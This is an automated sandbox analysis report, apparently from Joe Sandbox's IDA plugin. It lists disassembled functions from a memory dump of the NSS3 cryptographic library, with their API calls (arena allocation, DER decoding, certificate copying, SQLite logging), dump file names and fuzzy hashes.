Function 6C4C6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C4C7D8F,6C4C7D8F,?,?), ref: 6C4C6DC8

Part of subcall function 6C51FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C51FE08
Part of subcall function 6C51FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C51FE1D
Part of subcall function 6C51FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C51FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C4C7D8F,?,?), ref: 6C4C6DD5

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C5E8FA0,00000000,?,?,?,?,6C4C7D8F,?,?), ref: 6C4C6DF7

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C4C6E35

Part of subcall function 6C51FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C51FE29
Part of subcall function 6C51FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C51FE3D
Part of subcall function 6C51FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C51FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C4C6E4C

Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C5E8FE0,00000000), ref: 6C4C6E82

Part of subcall function 6C4C6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C4CB21D,00000000,00000000,6C4CB219,?,6C4C6BFB,00000000,?,00000000,00000000,?,?,?,6C4CB21D), ref: 6C4C6B01
Part of subcall function 6C4C6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C4C6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C4C6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C4C6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C5E8FE0,00000000), ref: 6C4C6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C4C7D8F,?,?), ref: 6C4C6FE1

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 5d83abc843f9ab61e505fa46d9716a6d8e6e4a7434ea263b22b29e9566c3a6b6
Instruction ID: 766dde11e36cea631087a40ef18af4af5bebafd03095b8f0d4cc7038118bd46a
Opcode Fuzzy Hash: 5d83abc843f9ab61e505fa46d9716a6d8e6e4a7434ea263b22b29e9566c3a6b6
Instruction Fuzzy Hash: E9717D75E146469FEB00CF15CD40FFABBA4BF94208F158229E808D7B21E771E995CB92

Function 6C500FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C501057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C501085
PK11_GetAllTokens.NSS3 ref: 6C5010B1
free.MOZGLUE(?), ref: 6C501107
PR_SetError.NSS3(00000000,00000000), ref: 6C501172
free.MOZGLUE(?), ref: 6C501182
free.MOZGLUE(?), ref: 6C5011A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C5011C5

Part of subcall function 6C5052C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C4DEAC5,00000001), ref: 6C5052DF
Part of subcall function 6C5052C0: EnterCriticalSection.KERNEL32(?), ref: 6C5052F3
Part of subcall function 6C5052C0: PR_Unlock.NSS3(?), ref: 6C505358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5011D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5011F3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 260e44aa3c11538d310320bfb6b24e356d2cc1ba859aaf7c7754dc4915b5dad1
Instruction ID: 3efed307c9960388547c5a2a37a2769b0e9dc09bc3500d84bf5e3f754f596585
Opcode Fuzzy Hash: 260e44aa3c11538d310320bfb6b24e356d2cc1ba859aaf7c7754dc4915b5dad1
Instruction Fuzzy Hash: FE6180B0E013459BEB04DF65DC85BAABBB5AF48348F144128EC59AB742EB31E944CB52

Function 6C50ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE10
EnterCriticalSection.KERNEL32(?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C4ED079,00000000,00000001), ref: 6C50AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE7F
TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEF1
free.MOZGLUE(6C4ECDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?), ref: 6C50AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AF30

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1a189e93f11d10d137181aa6f69f83206ce7f7130007a1cc7de445f9350ec505
Instruction ID: 6adf571af6c3f6fc32237c88f5fe62743d06d8c20fdaaadf222c09b994c64c23
Opcode Fuzzy Hash: 1a189e93f11d10d137181aa6f69f83206ce7f7130007a1cc7de445f9350ec505
Instruction Fuzzy Hash: EB519AB5A00602EFDB01DF2ACC85A5AB7B4BF08318F144665E819D7E11E731F8A4CBD1

Function 6C4E4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C4EAB7F,?,00000000,?), ref: 6C4E4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C4EAB7F,?,00000000,?), ref: 6C4E4CC8
TlsGetValue.KERNEL32(?,6C4EAB7F,?,00000000,?), ref: 6C4E4CE0
EnterCriticalSection.KERNEL32(?,?,6C4EAB7F,?,00000000,?), ref: 6C4E4CF4
PL_HashTableLookup.NSS3(?,?,?,6C4EAB7F,?,00000000,?), ref: 6C4E4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C4E4D10

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C4E4D26

Part of subcall function 6C589DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DC6
Part of subcall function 6C589DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DD1
Part of subcall function 6C589DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C589DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C4E4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C4E4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C4E4E02

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ad84db6547789056f8cc88aaa0991c1c14725f29345fad56f85f224e68ab1c5d
Instruction ID: 2cfb4f16dc51bc8a0f63ab0a89724a34115c311d4ec33bf4dff5a8fc7724d929
Opcode Fuzzy Hash: ad84db6547789056f8cc88aaa0991c1c14725f29345fad56f85f224e68ab1c5d
Instruction Fuzzy Hash: 5741D8B5900205ABEB00EF69EC94E5A77B8EF1929AF064174EC08C7B11EB31E914C7E1

Function 6C4CBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4CBFFB

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C4CC015

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C4CC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C4CC04D

Part of subcall function 6C5169E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C516A47
Part of subcall function 6C5169E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C516A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C4CC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C4CC07B

Part of subcall function 6C4C8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C89B8
Part of subcall function 6C4C8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C4C7310), ref: 6C4C89E6
Part of subcall function 6C4C8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C4C8A00
Part of subcall function 6C4C8980: CERT_CopyRDN.NSS3(00000004,00000000,6C4C7310,?,?,00000004,?), ref: 6C4C8A1B
Part of subcall function 6C4C8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C4C8A74

Part of subcall function 6C4C1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C4CC097,00000000,000000B0,?), ref: 6C4C1D2C
Part of subcall function 6C4C1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C4CC09B,00000000,00000000,00000000,?,6C4CC097,00000000,000000B0,?), ref: 6C4C1D3F
Part of subcall function 6C4C1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C4CC087,00000000,000000B0,?), ref: 6C4C1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C4CC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C4CC0C9

Part of subcall function 6C4D2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C4CC0D2,6C4CC0CE,00000000,-000000D4,?), ref: 6C4D2DF5
Part of subcall function 6C4D2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C4CC0CE,00000000,-000000D4,?), ref: 6C4D2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C4CC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CC0E3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 79ae8ca4ba2bc73db430d49e7b2032e886a59f2ff5299de535a800021b20c926
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: CB2179BA74020567FB00DAA2AC41FFB32AC9B5175DF084038FD04D9756FB26D91986B3

Function 6C4E89C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C4EAE9B,00000000,?,?), ref: 6C4E89DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4E89EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C4C2D6B), ref: 6C4E8A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C4C2D6B,?), ref: 6C4E8A11

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 4c0b18804ce4fe9b9646efed537238873bb7c14779011cdf12def2ac120b6af0
Instruction ID: f99e5a29bf6256ce5aa4aee721848e324a76b650138706a85146dcfab25a9373
Opcode Fuzzy Hash: 4c0b18804ce4fe9b9646efed537238873bb7c14779011cdf12def2ac120b6af0
Instruction Fuzzy Hash: 6C11EBF2A4031066FF10D668BC81FBB35589B4975FF090136ED099AB42F726D919C2F2

Function 6C4C2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C4C2CDA,?,00000000), ref: 6C4C2E1E

Part of subcall function 6C51FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C4C9003,?), ref: 6C51FD91
Part of subcall function 6C51FD80: PORT_Alloc_Util.NSS3(A4686C52,?), ref: 6C51FDA2
Part of subcall function 6C51FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C52,?,?), ref: 6C51FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C4C2E33

Part of subcall function 6C51FD80: free.MOZGLUE(00000000,?,?), ref: 6C51FDD1

TlsGetValue.KERNEL32 ref: 6C4C2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C4C2E5E
PL_HashTableLookup.NSS3(?), ref: 6C4C2E71
PL_HashTableRemove.NSS3(?), ref: 6C4C2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C4C2E96
PR_Unlock.NSS3 ref: 6C4C2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4C2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4C2EC5

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 05474c7bbffd53a6a841b80ac743f7b4905d164851e19e2267c450071b763751
Instruction ID: 6f650d65c71778c520753b496e39e9746161b824bb2712c4ebeb6f1e6025e34f
Opcode Fuzzy Hash: 05474c7bbffd53a6a841b80ac743f7b4905d164851e19e2267c450071b763751
Instruction Fuzzy Hash: C8214C76E00101A7EF105B26EC49E9B7B75EB4131EF140130ED1892B21FF32D958C2EA

Function 6C4AFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C4AFD18
sqlite3_initialize.NSS3 ref: 6C4AFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4AFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C4AFD99
sqlite3_free.NSS3(00000000), ref: 6C4AFE3C
sqlite3_free.NSS3(?), ref: 6C4AFEE3
sqlite3_free.NSS3(?), ref: 6C4AFEEE

Strings

simple, xrefs: 6C4AFC79

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 6b309298dcfbbedb8f1b058354587c86f23bd29c11b9999f9a985f3c0b7eaa5f
Instruction ID: 3f5b0c834c992d3fd05c86d856cc312f0958f3b867568ac0b0f07559fb72629f
Opcode Fuzzy Hash: 6b309298dcfbbedb8f1b058354587c86f23bd29c11b9999f9a985f3c0b7eaa5f
Instruction Fuzzy Hash: 2E9173B0A022059FEB04CF95C980EAAF7B1FF95359F24C15DD819AB756E731E842CB90

Function 6C4B5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C4B5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4B5EED

Strings

invalid, xrefs: 6C4B5EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C4B5E64
API call with %s database connection pointer, xrefs: 6C4B5EC3
misuse, xrefs: 6C4B5EDB
%s at line %d of [%.10s], xrefs: 6C4B5EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4B5ED1

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: dae7bda0a9205f1e3f57e39c1655b257f8f7f415c4db4428e4bdd47923ecbdd4
Instruction ID: 605da80dfc7372454035bdccfbdf9f20adccff8aa65c161bb8ff55a007e3e3ab
Opcode Fuzzy Hash: dae7bda0a9205f1e3f57e39c1655b257f8f7f415c4db4428e4bdd47923ecbdd4
Instruction Fuzzy Hash: 5C81AD30B056119BEB19CF29D888FAAF774BF41309F28866DD8156BB51D730E842CBE1

Function 6C49DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C49DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C49DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C49DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C49DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C49DF78

Strings

database corruption, xrefs: 6C49DE5C, 6C49DE8B
%s at line %d of [%.10s], xrefs: 6C49DE61, 6C49DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C49DE52, 6C49DE81

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

